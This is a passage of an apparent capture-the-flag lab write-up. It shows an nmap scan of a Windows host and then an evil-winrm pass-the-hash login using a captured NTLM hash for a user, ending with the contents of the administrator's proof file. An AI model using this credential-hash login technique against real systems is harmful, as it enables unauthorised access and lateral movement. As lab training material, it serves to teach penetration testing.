Then the flag I have left is 172.16.X.254 proxy01.ops.complyedge.com which is 192.168.X.169 So if we portscan it, we get:

Nmap scan report for 172.16.X.254

Host is up (0.00066s latency). Not shown: 65531 filtered ports

PORT STATE SERVICE VERSION

80/tcp open ssl/http Microsoft IIS httpd 10.0

| http-methods:

Supported Methods: OPTIONS TRACE GET HEAD POST

\_ Potentially risky methods: TRACE \_http-server-header: Microsoft-IIS/10.0

|\_http-title: IIS Windows Server

3128/tcp open ssl/http-proxy Squid http proxy 3.5.28

|\_http-server-header: squid/3.5.28

\_http-title: ERROR: The requested URL could not be retrieved

5985/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

http-server-header: Microsoft-HTTPAPI/2.0

\_http-title: Not Found

49670/tcp open msrpc Microsoft Windows RPC

MAC Address: 00:50:56:86:5C:57 (VMware)

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

So let's connect to it with WinRM using pete's creds:

evil-winrm -u ops.comply.com\\pete -H 6db6cfdf45964a02a80e85a7ab9f4314 -i 172.16.X.254

\*Evil-WinRM\* PS C:\Users\administrator\desktop> more proof.txt 5d725dccc25c82f36f0d9428096c5b6e